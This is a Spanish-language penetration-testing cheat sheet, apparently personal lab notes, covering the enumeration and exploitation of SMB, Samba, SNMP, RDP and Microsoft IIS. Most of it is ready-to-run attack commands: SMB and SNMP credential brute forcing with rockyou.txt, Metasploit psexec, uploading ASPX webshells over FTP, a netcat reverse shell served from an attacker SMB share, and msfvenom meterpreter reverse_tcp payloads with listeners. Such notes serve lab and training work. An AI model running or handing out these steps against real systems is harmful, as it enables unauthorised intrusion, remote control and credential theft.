Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP

Enumeración y Explotación Básica del Protocolo SMB (Puerto 445)

Iniciar sesión sino conocemos usuario, es decir, como anónimo.

smbclient -L <IP máquina víctima> -N

Si conocemos el usuario con su contraseña.

smbclient -L //<IP máquina víctima> -U 'nombre' 

Con la herramienta smbclient no se a priori cuál tengo permisos o no. Por lo que usamos smbmap para ello.

smbmap -H <IP máquina víctima> -u 'nombre' -p 'contraseña'

Para entrar en un recurso compartido.

smbclient -U 'mario' //<IP máquina víctima>/Users

Enumeración y Explotación Básica del Protocolo SMB con Metasploit

msfconsole 
use /auxiliary/scanner/smb/smb_login
show options
set RHOSTS <IP máquina víctima>
set VERBOSE false #esto hace que vaya más lento si es true
set SMBUser mario
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

Probar si tenemos acceso en la máquina víctima con este módulo.

use /exploit/windows/smb/psexec
show options
set RHOSTS <IP máquina víctima>
set SMBUser mario
set SMBPass 123123
run

Enumeración de Usuarios SAMBA y uso de RPCCLIENT

rpcclient -U "" -N <IP máquina víctima>

Comandos importantes.

srvinfo
querydispinfo
enumdomusers
msfconsole 
show options
set RHOSTS <IP máquina víctima>
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE false
set SMBUser ken
run
smbmap -H <IP máquina víctima> -u 'ken' -p 'kenken' -r ken

Protocolo RDP en Windows y Enumeración Básica del Sistema

El RDP es un protocolo que permite usar un ordenador de escritorio a distancia desde otro ordenador.

xfreerdp /u:Administrator /p:letmein123! /v:<IP máquina víctima>:<PUERTO RDP> 

Para ver los usuarios que hay en el sistema.

net user

Para ver la información del usuario.

net user <nombre usuario>

Para ver quién está en algún grupo concreto.

net localgroup Administrators

Enumeración y Explotación del Protocolo SNMP

El protocolo SNMP funciona con UDP, por lo que es posible que si hacemos un escaneo de puertos con nmap por UDP nos encontremos con este protocolo funcionando dentro de la máquina objetivo, por lo que para enumerarlo, utilizaremos herramientas como onesixtyone y snmpwalk.

Para encontrar la clave.

onesixtyone -c /usr/share/wordlists/rockyou.txt <IP máquina víctima>
snmpwalk -v 2c -c <clave encontrada> <IP máquina víctima>

Webshell ASPX en Servidor Microsoft IIS

Encontramos el archivo en nuestra máquina local.

find / -name cmdasp.aspx 2>/dev/null
cp /usr/share/webshells/aspx/cmdasp.aspx .
locate .aspx 
cp /usr/share/wordlists/SecLists/Web-Shells/FuzzDB/cmd.aspx .

Subimos el archivo al servicio FTP.

put cmdasp.aspx

Nos sale para ejecutar un comando por lo que usaremos eso a nuestro favor para la Reverse Shell.

find / -name nc.aspx 2>/dev/null
cp /usr/share/windows-resources/binaries/nc.exe
locate nc.exe
cp /usr/share/wordlists/SecLists/Web-Shells/FuzzDB/nc.exe .

Levantamos este recurso compartido para hacer conexión con netcat.

impacket-smbserver recurso $(pwd) -smb2support

Nos ponemos en escucha también.

nc -nlvp 443

Ponemos este comando en el navegador.

\192.168.0.X\recurso\nc.exe -e cmd.exe 192.168.0.X 443

Hemos conseguido una Reverse Shell y estamos en la máquina Windows. A continuación escalamos privilegios.

msfvenom -p /windows/meterpreter/reverse_tcp LHOST=<IP máquina atacante> LPORT=444 -f exe -o shell.exe

Nos levantamos otro recurso compartido.

impacket-smbserver recurso $(pwd) -smb2support

En la máquina víctima nos situamos donde tengamos permisos de escritura en concreto en el directorio /temp.

copy \\<IP máquina atacante>\recurso\shell.exe shell.exe

Abrimos Metasploit.

msfconsole
use multi/handler
show options 
set LHOST <IP máquina atacante>
set LPORT 444 #lo pusimos en el msfvenom
set PAYLOAD /windows/meterpreter/reverse_tcp
run

Dentro de la máquina víctima.

shell.exe

Webshell ASPX en Servidor Microsoft IIS – OPCIÓN 2

Nos creamos un archivo malicioso .aspx.

msfvenom -p /windows/meterpreter/reverse_tcp LHOST=<IP máquina atacante> LPORT=4444 -f aspx -o shell.aspx

Iniciamos en FTP mediante anonymous o con las credenciales descubiertas. Subimos el archivo.

put shell.aspx

Nos ponemos en escucha también.

msfconsole
use multi/handler
show options 
set LHOST <IP máquina atacante>
set LPORT 4444 #lo pusimos en el msfvenom
set PAYLOAD /windows/meterpreter/reverse_tcp
run

Ejecutamos mediante la URL y conseguimos la conexión con meterpreter.

shell #nos lanzamos una sesión para indagar directorios

Enumeración de HotFixes en Windows

Un hotfix (solución caliente) es un paquete acumulativo que incluye uno o más archivos que son usados para identificar un problema en un programa. En general, son hechos para clientes específicos de un software y no para ser distribuidos ni comercializados. Específicamente en Windows, los hotfixs son pequeños parches diseñados para identificar problemas, especialmente agujeros de seguridad que fueron descubiertos recientemente. Estos pequeños programas por lo general se instalan automáticamente a través de Windows Update. Por lo general un hotfix no es sometido a rigurosas pruebas antes de ser lanzado, pues, como se especificó, suele solucionar problemas críticos que fueron descubiertos recientemente. Por lo tanto, los hotfixs simplemente sirven para solucionar un problema específico, y se recomienda instalarlos sólo cuando se manifieste ese error o problema en la aplicación o sistema operativo.

Get-HotFix #abrir previamente powershell

Para enumerarlos.

(Get-HotFix).Count
wmic qfe list brief /format:table

Last updated